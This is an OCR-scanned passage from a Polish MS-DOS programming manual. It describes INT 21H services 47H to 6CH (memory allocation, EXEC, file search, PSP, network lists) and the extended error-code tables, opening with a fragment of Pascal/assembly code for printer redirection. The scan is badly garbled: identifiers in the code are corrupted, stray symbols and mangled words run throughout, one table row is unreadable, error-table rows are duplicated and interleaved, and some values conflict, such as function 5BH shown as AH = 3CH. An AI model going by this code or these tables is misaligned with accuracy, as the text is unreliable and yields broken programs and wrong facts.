MOV CX,127 @2 : ţţ* ' MOV BX , CX MOV AH,BYTE PTR ES:Drukarka[bx] MOV BYTE PTR Druk[bx],ah LOOP @2 MOV AH,45H MOV BX , 4 INT 21H MOV WORD PTR [Tymcz],AX MOV AH,3CH MOV CX , 0 LEA DX,Dzuk INC DX INT 21H MOV BX , AX MOV CX , 4 MOV AH,46h INT 21H MOV AH,3EH INT 21H POP DS end; EXEC(Progr,Parametry); asm MOV AX , SEG Druka-rka MOV DS , AX MOV BX,WORD PTR Ctymcz] MOV CX , 4 MOV AH,46H INT 21H end; end. Funkcja 47H Nazwa: Pylanie o katalog bieżšey Wywołanie: AH = 47H DS:SI - adres 64-bajtowego bufora DL - dysk (0=bieżšcy,1=A, itd) Powrót: Ustawiony znacznik C: AX - kod błędu (15) Nie ustawiony C: O.K. - w buforze nazwa katalogu Opis: Funkcja zwraca do bufora znajdujšcego się pod adresem DS:SI nazwę katalogu bieżšce- go, na dysku o numerze podanym w DL. Nazwa może mieć maksymalnie 64 znaki w ko- dzie ASCIZ. Funkcja 48H Nazwa: Przydzielanie pamięci procesowi Wywotanie: AH = 48H BX - Liczba pofrzebnych paragrafów (16-bitowych) pamięci Powróf: Ustawiony znacznik C: AX - kod błędu (7,8) BX - liczba dostępnych paragrafów pamięci Nie ustawiony C: AX - segment, w którym znajduje się przydzielona pamięć Opis: Funkcja przydziela procesowi spójny obszar pamieci, którego obszar jest przekazany w pa- ragrafach (16 bitów) w rejestrze BX. Po przydzieleniu pamięci znacznik C jest wyzerowany, a w rejestrze AX znajduje się adres pierwszego segmentu zawierajacego przydzielonš pa- mięć. Jeœli brak dostatecznej iloœci pamięci na spelnienie żšdania, to znacznik C jest usta- wiany, a rejestr BX zawiera maksymalnš liczbę dostępnych paragrafów. Funkcja 49H Nazwa: Zwalnianie pamięci Wywolanie: AH = 49H ES - segment, w którym znajduje się zwalniana pamięć i Powróf: Ustawiony znacznik C: AX - kod błędu (7,9) Nie ustawiony C: O.K. 222 Opis: Funkcja zwalnia pamięć uprzednio przydzielonš przez funkcję 48H Funkcja 4AH Nazwa: Zmiana wielkoœci przydzielonej pamięci Wywofanie: AH = 4AH BX - Liczba paragrafów (16-bitowych) pamięci ES - Segment zmienianej pamięci Powrót: Ustawiony znacznik C: AX - kod bfędu (7,8,9) BX - Maksymalna liczba dostępnych paragrafów Nie ustawiony C: O.K. Opis: Funkcja zmniejszalzwiększa pamięć przydzielonš przy pomocy funkcji 48H. Jeœli system nie może przydzielić całej żšdanej pamięci, to w rejestrze BX zwracana jest liczba paragra- fów (16 bajtów) dostępnych w systemie. ţ ţ ' Uwagi: Po rozpoczęciu pracy procesu, system przydziela mu całšdostępnš pamięć. Możesz użyć tej tunkcji aby zmniejszyć pamięć przydzielonš procesowi, w celu, na przykład, uruchomienia procesu potomnego. Funkcja 4BOOH Nazwa: tadowanie i uruchamianie programu Wywofanie: AH = 4BH AL = OOH DS:DX - adres łańcucha zawierajšcego nazwę pliku z programem ES:BX - adres bloku parametrów Powrót: Ustawiony znacznik C: AX - kod błędu (1,2,3,4,5,8,10,11 ) Nie ustawiony C: O.K. ů: ;ţ; Opis: Funkcja tworzy nowy proces i uruchamia program z nim zwišzany. Obraz programu musi znajdować się w zbiorze z rozszerzeniem .COM lub .EXE, którego nazwa w kodzie ASCII znajduje się pod adresem wskazywanym przez DS:DX. ES:BX wskazuje na adres bloku parametrów, którego postać jest następujšca: ; :ţ: Wszystkie pozycje w bloku parametrów muszš mieć format taki sam jak odpowiadajšce im pozycje w przedrostku procesu (PSP). Œrodowisko oraz wszystkie otwarte pliki i dojœcia procesu macierzystego (z wyjštkiem tych, w których jawnie okreœlona była wyłšcznoœć dostępu) sš dostępne dla procesu potomnego. Uwagi: Funkcja ta jest bardzo często stosowana, do chwilowego "opuszczania" programu i urucha- miania sytemu operacyjnego. W takim wypadku ładowana jest po prostu druga kopia COM- MAND.COM. Ma jednak swoje ograniczenia. Przykładowo po wywołaniu drugiej kop pro- cesora poleceń nie będziesz mógł zmieniać œrodowiska, gdyż każdy proces dziedziczy sta- tycznš kopię œrodowiska. Przy korzystaniu z tej funkcji zawsze pamiętaj, aby przed jej wy- wołaniem zmniejszyć pamięć przydzielonš macierzystemu procesowi (funkcjš 4AH), gdyż ~=ţţ zazwyczaj proces ten ma przydzielonš całš dostępnš pamięć i próba wywolania procesu potomnego kończy się bfędem 8. Funkcja 4803H Nazwa: Ładowanie nakładki Wywołanie: AH = 4BH AL = 03H DS:DX - adres łańcucha zawierajšcego nazwę pliku z programem ES:BX - adres bloku parametrów Powrót: Ustawiony znacznik C: AX - kod błędu (1,2,3,4,5,8,10) Nie ustawiony C: O.K. Opis: Funkcja ładuje do pamięci nakładkę. Znaczenie poszczególnych parametrów jest takie jak w przypadku funkcji 4BOOH.ł.adowanie nakładki różni się od ładowania programu tym, że nakładka nie uruchamiania nowego procesu, tylko jest wykonywana w ramach bieżšcego. Co za tym idzie funkcja ta nie tworzy nowego PSP i nie oddaje sterowania do nakładki. Do załadowania nakładki nie jest potrzebna żadna pamięć, poza przydzielonš procesowi. Funkcja 4CH Nazwa: Zakoriczenie procesu Wywołanie: AH = 4CH AL - Kod powrotu Powrót: Brak Opis: Funkcja kończy wykonywany proees, zamykajšc wszystkie otwarte pliki i zwalniajšc pa- mięć przydzielonš na poczatku pracy procesu. W rejestrze AL przekazywany jest kod pow- rotu informujšcy proces nadrzędny z jakiego powodu została zakoriczona praca procesu. Uwagi: Jeœli Twój proces używał funkcji ograniczajšcych dostęp do plik“w, to przed końcem pracy powinien zlikwidować wszystkie ograniczenia. Funkcja 4DH Nazwa: Pobieranie kodu powrotu procesu potomnego Wywofanie: AH = 4DH Powrót: AX - kod powrotu Opis: Funkcja zwraca kod powrotu procesu potomnego. W rejestrze AL znajduje się kod przeka- zywany jako parametr funkcji 31 H lub 4CH. Rejestr AH zawiera informacje systemu doty- czšce przyczyny zakończenia procesu: 0 - Naturalne zejœcie (Funkcje OOH lub 4CH) 1- Zakoriczony przez Control-C . 2 - Zakoriczony przez poważny błšd urzšdzenia 3 - TSR. Zakoriczony przez funkcję 31 H Funkcja 4EH Nazwa: Znajdowanie pierwszego pliku w katalogu Wywołanie: AH = 4EH DS:DX - adres łańcucha w kodzie ASCIZ zawierajšcego nazwę pliku ! CX - atrybuty szukanego pliku Powrót: Ustawiony znacznik C: AX - kod blędu (2,3,18) Nie ustawiony C: O.K. 224 Opis: Funkcja przeszukuje bieżšcy lub podany katalog w poszukiwaniu pliku odpowiadajšcego wzorcowi przekazanej pod adresem wskazywanym przez DS:DX. We wzorcu moga znajda i wać się symbole ? i ' .Oprócz zwykłych plików szukane sš pliki ukryte systemowe i podka- talogi, jeœli w rejestrze CX zostanš ustawione bity odpowiadajšce atrybutom. Po znalezie- niu pliku odpowiadajšcego wzorcowi w bufurze roboczym operacji dyskowych (DTA) umie- szczane sš informacje wg. formatu: Offset Rozmiar Zawartoœć OOH 15H Zarezerwowane dla funkcji 4FH 15H 1 Atrybuty 1 gH 2 ţCzas ostatniej modylikacji 18H 2 Data ostatniej modyfikacji 1 AH 4 Rozmiar pliku w bajtach 1 cu nnu Nţ,wţ i rn>s>ar>anie nliku w kodzie ASCIZ Uwagi: Szukanie następnego pasujšcego pliku odbywa się przy pomocy funkcji 4FH. Funkcja 4FH :xr- Nazwa: Znajdowanie następnego pliku w katalogu Wywolanie: AH = 4FH Powrót: Ustawiony znacznik C: AX - kod blędu (18) Nie ustawiony C:O.K. Opis: Funkcja kontynuuje szukanie plików zgodnych ze wzorcem podanym w funkcji 4EH. DTA przed wywolaniem funkcji musi zawierać informacje w takim formacie, jaki opisany jest przy poprzedniej funkcji. Jeœli funkcja nie znajdzie więcej plików odpowiadajšcych wzorco- wi, to ustawiany jest znacznik C, a rejestr AX zawiera 18 (Brak dalszych plików pasujšcych do wzorca ). W przeciwnym wypadku DTA jest wypelniane w odpowiedni sposób, tak że można wznowić szukanie od tego pliku. Funkcja 50H Nazwa: Ustaw segment PSP Wywołanie: AH = 50H BX - adres nowego segmentu PSP Powrót: Brak Opis: Funkcja ustawia nowš wartoœć segmentu, w którym znajduje się przedrostek procesu (PSP). Stosowana jest wraz z następnš funkcjš przy pisaniu programów rezydentnych, któ- re, aby poprawnie pracowały, powinny przywrócić swój oryginalny PSP, a nie korzystać z PSP aktualnie wykonywanego procesu. Uwagi: Funkcja nie jest udokumentowana, jednak korzysta z niej wiele programów typu TSR zna- nych firm. Funkcja 51H Nazwa: Pobierz segment PSP Wywołanie: AH = 51 H Powrót: BX - aktualny segment PSP 225 Opis: Funkcja pobiera aktualny segment PSP. Schemat postępowania przy programach typu 'i TSR jest następujšcy: - Częœć instalacyjna pobiera swój segment PSP i zapamiętuje go (np pod zmiennš A) - Częœć rezydentna podczas wywołania zapamiętuje segment PSP aktualnie wykonywane- go procesu, zapamiętuje go (np pod B) i ustawia segment PSP jako A. - Po zakoriczeniu wywolania cz꜂ rezydentna przywraca segment PSP wykonywanego procesujako B. Uwagi: Funkcja nie jest udokumentowana, jednak korzysta z niej wiele programów typu TSR zna- nych firm. Odpowiednik: 62H Funkcja 52H Nazwa: Pobierz adres listy adresów MS-DOS Wywolanie: AH = 52H Powrót: ES:BX - adres listy Opis: Funkcja zwraca w rejetrach ES:BX adres wewnętrznej listy adresów systemu. Format tej listy jest następujšcy: Offset Rozmiar Zawartoœć -02H 2 Pierwszy przydzielony blok pamięci. OOH 1 0 01 H 2 Adres pierwszego bloku dysku 08H 4 Adres procedury urzšdzenia CLOCK$ OC 4 Adres procedury urzšdzenia CON: 1 OH 2 Maksymalna liczba bajtów dla procedur obsługi urzšdzeri 20H 1 Liczba urzadzeri blokowych w systemie 21 H 1 Wartoœć komendy LASTDRIVE w CONFIG.SYS 22H ? Procedura obsługi urzšdzenia NULL ' Uwagi: Funkcja nieudokumentowana. BšdŸ ostrożny z jej używaniem. Funkcja 54H Nazwa: Pytanie o stan sygnalizatora weryfikacji Wywoianie: AH = 54H Powrót: AL = 0 - VERIFY OFF 1- VERIFY ON Opis: Funkcja zwraca stan sygnalizatora weryfikacji. Jeœli znacznik ten jest ustawiony (AL=1 ) to po każdej operacji zapisu na dysk dokonywane jest potwierdzenie poprawnoœci poprzez od- czyt i sprawdzenie kodu kontrolnego CRC. Funkcja 55H Nazwa: Utwórz PSP Wywołanie: AH = 55H DX - segment nowego PSP 226 Powrót: Ustawiony znacznik C: AX - kod blędu (1 ) Nie ustawiony C: Opis: Funkcja ta tworzy nowy przedrostek PSP. Uwagi: Funkcja nie jest udokumentowana. Odpowiednik: W nowszych wersjach systemu zaleca się stosowanie funkcji 4BOOH, która tworzy nowy PSP i uruchamia proces potomny. Funkcja 56H Nazwa: Zmiana pozycji w katalogu Wywołanie: AH = 56H DS:DX - adres łaricucha w kodzie ASCIZ zawierajšcego pierwotnš nazwę ES:DI - adres łaricucha w kodzie ASCIZ zawierajšcego wtórnš nazwę ,* Powrót: Ustawiony znacznik C: AX - kod biędu (2,3,5,17) Nie ustawiony C: O.K. Opis: Funkcja zmienia nazwę pliku, którego nazwa przekazywana jest pod adresem wskazywa- ł nym przez DS:DX na nazwę znajdujšcš się pod adresem wskazywanym przez ES:DI. Przy pomocy tej funkcji nie można zmieniać nazw plików systemowych i ukrytych oraz nazw kar- totek. Nie można również zmienić nazwy pliku w ten sposób, aby odnosiła się do innego urzšdzenia. Może jednak odnosić się do innej kartoteki. Funkcja 57H Nazwa: Sprawdzanie lub zmiana daty i czasu modyfikacji pliku. Wywołanie: AH = 57H AL = 0 - Sprawdzanie 1- Ustawianie daty i czasu BX - numer dojœcia CX - czas do ustawienia (jeœli AL=1 ) DX - data do ustawienia (jeœli AL=1 ) Powrót: Ustawiony znacznik C: AX - kod blędu (1,6) Nie ustawiony C: CX - czas ostatniej modyfikacji pliku Qeœli AL=0) DX - data ostatniej modyfikacji pliku (jeœli AL=0) Opis: Funkcja sprawdza czas i datę ostatniej modyfikacji pliku lub ustawia je. ;r Znaczenie kolejnych bitów jest następujšce: , 'ţ DX: 9..15 - Rok od 1980 5..8 - Miesišc 0..4 - Dzieri CX: 11..15 - Godzina 5..10 - Minuta 0..4 - Sekunda / 2 Funkcja 58H *ţ„f Nazwa: Pytanie o strategię przydziału pamięci lub ustalanie tej strateg Wywofanie: AH = 58H AL = 0 - Pytanie 1- Ustalanie strateg BX = Strategia Qeœli AL=1 ) Powrót: Ustawiony znacznik C: AX - kod btędu (1) Nie ustawiony C: AX = Strategia (jeœli AL=0) Opis: Funkcja ustala lub pobiera strategię przydziału pamięci operacyjnej. Możliwe sš trzy rodza- je strategii: 0 - Pierwsze dopasowanie Przy przydziale pamięci system przydziela pierwszy pasujšcy blok. Jest to strategia standardowo stosowana przez DOS. 1- Najlepsze dopasowanie System przydziela ten fragment pamięci, którego długoœć najmniej się różni od żšdanej. Ta strategiajest najbardziej optymalna, ale pochłania najwięcej czasu przy przydziale. 2 - Ostatnie dopasowanie Funkcja przydziela ostatni blok, który ma dostatecznš długoœć. Funkcja 59H Nazwa: Pytanie o pełny kod bfędu Wywołanie: AH = 59H BX - poziom Mędu (zawsze 0) Powrót: AX - rozszerzony kod błędu BH - klasa błędu BL - proponowana reakcja na btšd CH - Przypuszczalne miejsce powstania błędu Zawartoœć rejestrów CL,DX,SI,DI,DS,ES jest niszczona Opis: Funkcja zwraca pełny kod blędu dla danego poziomu (Patrz rozdział poœwięcony kodom błędów). Na razie (DOS pištka) nie zdefiniowano innych poziomów błędu poza zerowym, dlatego w rejestrze BX przed wywołaniem funkcji powinno znaleŸć się 0. Funkcja 5AH Nazwa: Tworzenie pliku roboczego Wywoianie: AH = 5AH CX - atrybuty pliku DS:DX - Adres łaricucha zawierajšcego œcieżkę dostępu w kodzie ASCIZ i 13 wolnych zna- ków Powrót: Ustawiony znacznik C: AX - kod błędu (2,3,4,5) Nie usławiony C: AX - numer dojœcia Opis: Funkcja działa podobnie jak funkcja 3C - fworzenie dojœcia, różnice sš tylko takie, że jako parametr jest przekazywana tylko œcieżka dostępu, a nie nazwa pliku. System sam nada plikowi takš nazwę, która nie istnieje dotychczas w katalogu. Uwagi: Mimo, iż funkcja zakłada plik roboczy, to nie jest on automatycznie kasowany przy koricu pracyprocesu. Funkcja 5BH Nazwa: Tworzenie nowego pliku Wywofanie: AH = 3CH DS:DX - adres łaricucha w kodzie ASCIZ zawierajšcego nazwę pliku CX - atrybuty pliku Powrót: Ustawiony znacznik C: AX - kod blędu (2,3,4,5,80) 1 Nie ustawiony C: AX - numer dojœeia Opis: Funkcja tworzy plik o podanej nazwie, równoczeœnie definiujšc dori dojœcie z uprawnienia- mi do czytania i pisania w pliku.Nowy plik ma zerowš długoœć i atrybuty przekazane w reje- strze CX. Jeœli plik o podanej nazwie już istnieje to funkcja koriczy się bfędem. Funkcja 5CH Nazwa: Rezerwowanie lub zwalnianie częœci pliku Wywolanie: AH = 5CH AL = 0 - rezerwowanie _ 1- zwalnianie " BX - numer dojœcia CX:DX - start obszaru w pliku SI:DI - długoœć obszaru w pliku Powrót: Ustawiony znacznik C: AX - kod blędu (1,6,33,36) Nie ustawiony C: O.K. Opis: Funkcja rezerwuje lub zwalnia częœć pliku. Tylko proces wykonujšcy funkcję ma prawo do wykonywania operacji czytania/zapisu na tym obszarze funkcji. Jeœli jakiœ inny proces bę- dzie próbował użyć tej częœci pliku, to po wykonaniu liczby nawrotów zdefiniowanej przez funkcję 4408H wywola przerwanie 24H. Uwagi: Microsoft nie gwarantuje, iż przy koriczeniu procesu wszystkie zarezerwowane pliki będš automatycznie zwolnione. Dlatego musisz sam pamiętać o zwalnianiu plików przez kor5czš- cy swš pracę proces. Funkcja SEOOH Nazwa: Pytanie o nazwę stanowiska roboczego Wywołanie: AH = 5EH AL = OOH , ţ *'œ DS:DX - adres 16-bajtowego butora Powrót: Ustawiony znacznik C: AX - kod błędu (1 ) Nie ustawiony C: CX - numer identyfikacyjny komputera lokalnego Opis: Funkcja wpisuje do bufora znajdujšcego się pod adresem DS:DX sieciowš nazwę kompute- ra lokalnego (tego, z którego jest wywolywana). Ponadto w rejestrze CX funkcja zwraca identyfikator sieciowy komputera. Funkcja 5E02H Nazwa: Ustalanie znaków sterujšcych drukarkš. Wywolanie: AH = 5EH AL = 02H BX - indeks w liœcie przypisari CX - długoœć znaków sterujšcych DS:DX - adres, pod którym znajdujš się znaki sterujšce Powrót: Ustawiony znacznik C: AX - kod błędu (1 ) Nie ustawiony C: O.K. Opis: Funkcja ustala cišg znaków sterujšcych, który będzie wysyiany przed każdym plikiem dru- kowaniem do odległej drukarki, która jest zdefiniowana na liœcie przypisari pod numerem znajdujšcym się w BX. Funkcja 5F02H Nazwa: Pytanie o pozycję listy przypisari Wywołanie: AH = 5FH AL = 02H BX = indeks w liœcie przypisari DS:SI - adres łaricucha w kodzie ASCIZ zawierajšcego nazwę lokalnš ES:DI - adres łaricucha w kodzie ASCIZ zawierajšcego nazwę odległš Powrót: Ustawiony znacznik C: AX - kod błędu (1,18) Nie ustawiony C: BL = 3 - Drukarka 4 - Dysk CX - Wartoœć przypisana urzšdzeniu przez użytkownika Opis: Funkcja zwraca informacje o urzšdzeniu znajdujšcym się na liœcie przypisari pod pozycjš przekazanšw rejesfrze BX. Pod adresami wskazywanymi przez DS:DI i ES:DI zwracane sš odpowiednio lokalna i odlegfa nazwa urzšdzenia, W rejestrze BL typ urzšdzenia, a w re- jestrze CX wartoœć przypisana urzšdzeniu podczas tworzenia pozycji na liœcie przypisari. Funkcja 5F03H Nazwa: Wywotanie: AH = 5FH AL = 03H BL = 03H 3 - Drukarka 4 - Dysk CX - Wartoœć przypisana urzšdzeniu przez użytkownika DS:SI - adres łaricucha w kodzie ASCIZ z nazwš lokalnš ES:DI - adres łaricuchów w kodzie ASCIZ z nazwš odległš i hasłem Powrót: Ustawiony znacznik C: AX - kod błędu (1,3,5,8, i inne zależne od sieci) Nie ustawiony C: O.K. Opis: Funkcja dodaje nowš pozycję do listy przypisari. Znaczenie parametrów jest przedstawio- ne powyżej. Poprawne zakoriczenie funkcji oznacza, iż uzyskano dostęp do zasobu miesz- czšcego się w odległym węŸle. Dokładna postać nazwy odległej zależy od konkretnej reali- zacji sieci. Funkcja 5F04H Nazwa: Usunięcie pozycji z listy przypisari Wywołanie: AH = 5FH AL = 04H DS:SI - adres łaricucha w kodzie ASCIZ zawierajšcego nazwę lokalnš Powrót: Ustawiony znacznik C: AX - kod bfędu (1,15, i inne zależne od sieci) Nie ustawiony C:O.K. 230 Opis: Funkcja usuwa z listy przypisari pozycję odpowiadajšcš nazwie lokalnej, która jest przeka- zywana pod adresem wskazywanym przez DS:SI. Nazwa lokalna może być nazwšdysku, drukarki lub może to być symbol \\. Ta ostatnia oznacza żšdanie usunięcia wszystkich po- zycji z listy przypisari i zerwania potšczenia między komputerem lokalnym i sieciš. Funkcja 62H Nazwa: Pobieranie adresu PSP Wywotanie: AH = 62H Powrót: BX - adres segmentu przedrostka procesu (identyfikatora procesu) Opis: Funkcja zwraca w rejestrze BX adres segmentu przedrostka bieżacego procesu. " ' Funkcja 65H Nazwa: Pobieranie rozszerzonych informacji o kraju Wywolanie: AH = 65H AL = 1- Pobierz tablicę informacji o kraju 2 - Pobierz adres tablicy konwersji znaków _ _ 4 - Pobierz adres pliku z tablicš konwersji znaków 6 - Pobierz adres tablicy sortowania znaków DX - Identyfikator kraju BX - Matryca znaków CX - Rozmiar bufora (co najmniej 5) ES:DI - Adres bufora z danymi Powrót: Ustawiony znacznik C: AX - kod bfędu (1 ) Nie ustawiony C: O.K., w butorze znajdujš się dane Opis: Funkcja zwraca szereg informacji o kraju, którego numer podany jest w rejestrze DX. Jeœli dane nie mieszczš się w buforze, to sš ucinane. Znaczenie danych - patrz funkcja 38H. Uwagi: Funkcja dostępna dopiero od wersji 3.30 .JE Funkcja 66H Nazwa: Ustalenie/Pobranie globalnej matrycy znaków Wywotanie: AH = 66H AL = 1- pobierz globalnš matrycę znaków 2 - ustaw globalnš matrycę znaków BX - numer matrycy (jeœli AL = 2) Powrót: Ustawiony znacznik C: AX - kod blędu (1 ) Nie ustawiony C: BX - aktualna matryca znaków DX - systemowa (ustawiana w czasie startu systemu) matryca Opis: Funkcja ustala nowš matrycę znaków lub pobiera aktualnš. Znaczenie parametrów jest przedstawione powyżej. Uwagi: Funkcja dostępna dopiero od wersji 3.30 Funkcja 67H Nazwa: Ustawienie maksymalnej liczby otwartych dojœć Wywołanie: AH = 67H BX - maksymalna liczba otwartych dojœć Powrót: Ustawiony znacznik C: AX - kod błędu (8) Nie uslawiony C:O.K. Opis: Funkcja ustala maksymalnš liczbę równoczeœnie otwartych dojœć. Liczba ta jest przekazy- wana w BX. Jeœli BX jest mniejsze od 20 to liczba dojœć jest ustawiana na 20. Nie ma ogra- niczeri na wartoœć przekazywanš w BX (do OFFFFH) poza ograniczeniami pamięci. Liczba równoczeœnie otwartych to dojœć to liczba pozycji w tablicy dojœć dla procesu. Jeœli więc brak pamięci dla nowej tablicy dojœć, to sygnalizowany jest błšd. Uwagi: Funkcja dostępna dopiero od wersji 3.30 Funkcja 68H Nazwa: Stabilizowanie pliku Wywołanie: AH = 68H Powrót: Ustawiony znacznik C: AX - kod błędu (6) Nie ustawiony C: O.K. Opis: Funkcja przepisuje wszystkie bufory zwišzane z plikiem, do którego dojœcie jest przekazy- wane w rejestrze BX. Uwagi: Funkcja dostępna dopiero od wersji 3.30 Stosuj jš przy obsłudze plików zawierajšcych bazy danych. Normalnie DOS czyœcił bufory plików tylko podczas ich zamykania. Tak więc na przykład awaria systemu mogła powodo- wać utratę danych. Aby temu zapobiec programy obsfugujšce bazy danych zamykały pliki i otwierały je na nowo po każdej operacji. Wydłużało to jednak znacznie procedury dysko- we tych programów. Funkcja 6CH Nazwa: Rozszerzone otwieranie dojœcia Wywolanie: AH = 6CH AL = OOH BX - tryb otwarcia. Poszczególne bity majš następujace znaczenie (patrz funkcja 3DH) 0-3 tryb doslepu 4-6 tryb dzielenia 7 dziedziczenie dojœcia przez potomne procesy 13 0 - przy błędzie krylycznym wywolywane jest przerwanie 24H 1- przerwanie nie jest wywoływane 14 0 - buforowanie zapisu pliku na dysk 1- bezpoœredni zapis na dysk CX - atrybuly pliku (w przypadku tworzenia) DX - rodzaj działania, które ma zostać podjele: 0001 H - otwiera plik, jeœli istnieje, w przeciwnym wypadku funkcja koriczy się błędem 0011 H - otwiera plik, jeœli istnieje, w przeciwnym wypadku tworzy go 0012H - Jeœli plik istnieje, to kasuje jego zawartoœć, w przeciwnym wypadku tworzy go DS:SI - adres łaricucha w kodzie ASCIZ zawierajšcego nazwę pliku CX - atrybuty pliku 232 Powrót: Ustawiony znacznik C: AX - kod błędu (2,3,4,5,12) Nie ustawiony C: AX - numer dojœcia BX = 0 - plik został otwarty , ţţ ţţ 1- plik został utworzony i otwarty 2 - skasowana została poprzednia zawartoœć pliku i plik został otwarty Opis: Funkcja otwiera plik o podanej nazwie, równoczeœnie definiujšc dori dojœcie z uprawnienia- mi do czytania i pisania w pliku. Możesz jš traktować jako rozszerzenie funkcji 3CH i 3DH. Dodatkowo funkcja może wtšczać i wyłšczać wywoływanie przerwania 24H w wypadku wy- " stšpienia Mędu. Uwagi: Funkcja jest wzorowana na otwieraniu plików w systemie OSl2. Występuje dopiero od wer- sji 4.0 MS DOS-a. Większoœć wywołari funkcji zwraea w wypadku wystšpienia błędu usta- wiony wskaŸnik Carry oraz kod blędu w rejestrze AX. Jeœli taka informacja nie jest wystar- czajšca, to możliwe jest otrzymanie rozszerzonych wiadomoœci o błędzie, po wywolaniu DOSowskiej funkcji 59h z parametrem 0 w rejestrze BX. funkcja ta zwraca odpowiednio w rejestrach: AX: Kod błędu. BH: Klasę błędu. BL: Proponowanš reakcję. CH: Przypuszczalne miejsce powstania błędu. " W przyszłych wersjach systemu może się zmienić znaczenia niektórych kodów. W celu za- chowania kompatybilnoœci do funkcji 59h przekazywana jest wartoœć poziomu błędu w reje- strze BX. Poziom błędu okreœla dla jakiej wersji systemu pytamy o znaczenie błędu. W przyszłych wersjach systemu mogš zostać zdefiniowane inne poziomy niż zerowy. Mic- rosoft gwarantuje, iż znaczenie kodów bfędów na poziomie 0 nie ulegnie zmianie w przy- ` ţ: szłoœci i będzie zgodne z poniższymi tabelami. .:;Ž :Sr 233 22. Kody Błędów Hex Dec Znaczenie 0 1 Żaden błšd nie wystšpił. 1 1 Błędny kod funkcji sieciowej. 2 2 Nieznaleziony plik. 3 3 Nieznaleziona œcieżka dostępu. 4 4 Zbyt dużo plików otwartych równoczeœnie. 5 5 Brak uprawnieri do dostępu. 6 6 Błędne dojœcie. 7 7 Uszkodzenie(zapisanie przez nieuprawniony proces) bloku pamięci. 8 8 Niewystarczajšca iloœć pamięci. 9 9 Błędny adres bloku pamięci. Oa H 10 Błędna postać œrodowiska. Ob H 11 Błędny format danych. OcH 12 Błędny kod dostępu. Odh 13 Błędne dane. Oeh 14 (Nieużywany). Ofh 15 Błędny napęd. l Oh 16 Próba skasowania bieżšcego katalogu. 11 h 17 Błšd przy zmianie nazwy pliku. 12h 18 Brak dalszych plików pasujšcych do wzorca. 13h 19 Próba zapisu na dyskietce ehronionej fizycznie przed zapisem. 14H 20 Błędny numer dysku. 15H 21 Napęd dyskowy niegotowy. 16H 22 Błędne poleeenie dla dysku. 17H 23 Błšd CRC. ţ 18H 24 Błędna długoœć transmitowanej struktury. ' 19H 25 Błšd szukania œcieżki na dysku. ! 1 a H 26 Dysk sformatowany w innym systemie. 1 b H 27 Nieznaleziony sektor. :! " 234 Hex Dec Znaczenie 1 cH 28 Brak papieru w drukarce. 1dH 29 Błšd.zapisu. ţ 1 e H 30 Błšd odczytu. 1 fH 31 Inny błšd dyskowy. 20H 32 Błędna próba dostępu do pliku dzielonego. 21 H 33 Plik (lub częœć) zarazerwowana przez inny proces. :ţ'1 22H 34 Zły dysk. 23H 35 Niedostępny blok FCB. 24H 36 Przepełnienie bufora podziału pliku. (Nieudokumentowany). 25H-31 H (Zarezerwowane). 32H 50 Niezainstalowana funkcja sieciowa. 33H 51 Brak kontaktu z odległym komputerem w siecii. ţ ţc:ł 34H 52 Podwójna nazwa w sieci. 35H 53 Błędna nazwa węzła sieciowego. .'ţţ 36H 54 Sieć zajęta. 37H 55 Próba dostępu do nieistniejšcego urzšdzenia sieciowego. . ,:t.: 38H 56 Zbyt dużo zleceri sieciowych. 39H 57 Błšd sprzętowy karty sieciowej. 3aH 58 Niewłaœciwa odpowiedŸ z sieci. 3bH 59 Niespodziewany (Inny) błšd sieciowy. 3cH 60 Niekompatybilne karty sieciowe komputerów przy próbie kontaktu. 3d H 61 Przepełnienie kolejki do drukowania. 3e H 62 W kolejce do drukowania jest już miejsce (Tylko sygnał - nie błšd). 3fH 63 Brak miejsca na wydrukowanie pliku. 40H 64 Węzeł sieciowy został usunięty 41 H 65 Brak uprawnieri do dostępu w sieci. 42H 66 Błędny typ urzšdzenia dyskowego. 43H 67 Nie znaleziono takiej nazwy w sieci. 44H 68 Przekroczony limit nazw w sieci (przepełniona tablica nazw). 45H 69 Przekroczona liczba sesji w sieci. ţ"ţ 46H 70 Chwilowa przerwa w pracy sieci. Hex Dec Znaczenie 47H 71 Żšdanie sieciowe nie zaakceptowane. 48H 72 Drukowanie lub nawišzywanie kontaktu chwilowo przerwane. 49H-4fH (Zarezerwowane) 50H 80 Tworzony plik już istnieje. 51 H 81 (Zarezerwowane) 52H 82 Nie można utworzyć dojœcia do katalogu. 53H 83 Błšd przerwania 24H symulujšcego wystšpienie błędu urzšdzenia. 54H 84 Przepełnienie struktur danych. 55H 85 Urzšdzenie już przyłšezone. 56H 86 Błędne hasło. 57H 87 Błędny parametr. 58H 88 Błšd zapisu w sieci. 14H 20 Błędny numer dysku. 1 Te wartoœci odpowiadajš błędom 0-Oc H 15H 21 Napęd dyskowy niegotowy. 2 przekazywanym w rejestrze DI po wykonaniu przerwania 24H oraz wartoœciom 16H 22 Błędne polecenie dla dysku. 3 w rejestrze AL po wystšpieniu błędu po przerwaniu 25HI26H. 17H 23 Błšd CRC. 4 18H 24 Błędna długoœć transmitowanej struktury. 5 19H 25 Błšd szukania œcieżki na dysku. 6 1aH 26 Dysk sformatowany w innym systemie. 7 1 b H 27 Nieznaleziony sektor. 8 1cH 28 Brak papieru w drukarce. 9 1 d H 29 Błšd zapisu. OaH 1 e H 30 Błšd odczytu. Ob H 1fH 31 Inny błšd dyskowy. OcH Hex Dec Znaczenie (Kod zwracany przez funkcję 59h w rejestrze BH). 1 1 Brak zasobu. (pamięci, FCB, kanału, dojœcia itd.) 2 2 Sytuacja przejœciowa. 3 3 Brak uprawnieri. 236 Hex Dec Znaczenie (Kod zwracany przez funkcję 59h w rejestrze BH). 4 4 Wewnętrzny bišd systemu operacyjnego (Np. uszkodzenie struktur danych). 5 5 Błšd sprzętu. 6 6 Błšd systemowy niezawiniony przez proces (Np. zła konfiguracja systemu). 7 7 Błšd procesu. (Np. złe żšdanie, blędne przekazanie parametrów). 8 8 Brak pliku lub obiektu. ţ`, 9 9 Błšd formatu pliku lub innego obiektu(pliku EXE. OaH 10 Próba dostępu do zarezerwowanego pliku lub obiektu. ObH 11 Błędny noœnik danych. OcH 12 Inny błšd . Proponowana reakcja programu. ' .% Hex Dec Znaczenie (Kod zwracany przez funkcję 59h w rejestrze BL). 1 1 Powtarzaj: Wykonaj operację kilka razy, jeœli błšd wystšpi zapyţaj o decyzję użytkownika. Powtarzaj po przerwie: Odczekaj chwilę, wykonaj operację kilka razy, jeœli błšd dalej " ţe 2 występuje zapytaj o decyzję użytkownika. 3 Zapytaj ponownie o dane: Jeœli dane (takie jak œcieżka dostępu, czy nazwa pliku) 